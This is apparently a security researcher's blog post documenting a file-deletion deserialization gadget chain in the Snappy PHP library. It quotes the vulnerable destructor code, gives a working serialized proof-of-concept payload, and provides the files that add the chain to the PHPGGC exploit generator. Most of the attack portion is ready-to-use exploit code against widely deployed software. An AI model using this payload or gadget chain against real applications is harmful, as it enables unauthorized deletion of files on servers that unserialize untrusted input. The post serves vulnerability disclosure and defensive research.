C101110: Snappy, file deletion Gadget Chain
Hello, today we’re implementing a new gadget chain for the Snappy PHP library.
PHP library allowing thumbnail, snapshot or PDF generation from a url or a html page. Wrapper for wkhtmltopdf/wkhtmltoimage.
Who?
- Library name:
- Snappy
- GitHub repository:
- KnpLabs / snappy
- URL:
Why?
Below is the responsible code.
File: snappy/src/Knp/Snappy/AbstractGenerator.php
<?php
...
abstract class AbstractGenerator implements GeneratorInterface, LoggerAwareInterface
{
use LoggerAwareTrait;
/**
* @var array
*/
public $temporaryFiles = [];
...
public function __destruct()
{
$this->removeTemporaryFiles();
}
...
/**
* Removes all temporary files.
*
* @return void
*/
public function removeTemporaryFiles()
{
foreach ($this->temporaryFiles as $file) {
$this->unlink($file);
}
}
...
protected function unlink($filename)
{
return $this->fileExists($filename) ? \unlink($filename) : false;
}
...
}
File: snappy/src/Knp/Snappy/Image.php
<?php
namespace Knp\Snappy;
/**
* Use this class to create a snapshot / thumbnail from a HTML page.
*
* @author Matthieu Bontemps <matthieu.bontemps@knplabs.com>
* @author Antoine Hérault <antoine.herault@knplabs.com>
*/
class Image extends AbstractGenerator
{
....
}
How?
Proof Of Concept
$ git clone https://github.com/KnpLabs/snappy.git
$ cd snappy
$ php composer.phar install
Then we create the file test.php as follows.
File: test.php
<?php
require __DIR__ . "/vendor/autoload.php";
use Knp\Snappy\Image;
$s = 'a:2:{i:7;O:16:"Knp\Snappy\Image":1:{s:14:"temporaryFiles";a:1:{i:0;s:9:"/tmp/AAAA";}}i:7;i:7;}';
$o = unserialize($s);
?>
Adding the gadget chain to PHPGGC
File: phpggc/gadgetchains/Snappy/FD/1/chain.php
<?php
namespace GadgetChain\Snappy;
class FD1 extends \PHPGGC\GadgetChain\FileDelete
{
public static $version = '1.4.2 <= ?';
public static $vector = '__destruct';
public static $author = 'coiffeur';
public static $information = '
Note that some files may not be removed (depends on permissions).
Target versions: commit 619dcfd7b4fb50804288aedd6850d0b4ffabbaea, 15 May 2023 (~v1.4.2) <= exploitable
';
public function generate(array $parameters)
{
return new \Knp\Snappy\Image($parameters['remote_path']);
}
}
File: phpggc/gadgetchains/Snappy/FD/1/gadgets.php
<?php
namespace Knp\Snappy;
class Image
{
public $temporaryFiles = [];
public function __construct($remote_path) {
array_push($this->temporaryFiles, $remote_path);
}
}
Thank you for taking the time to read this article.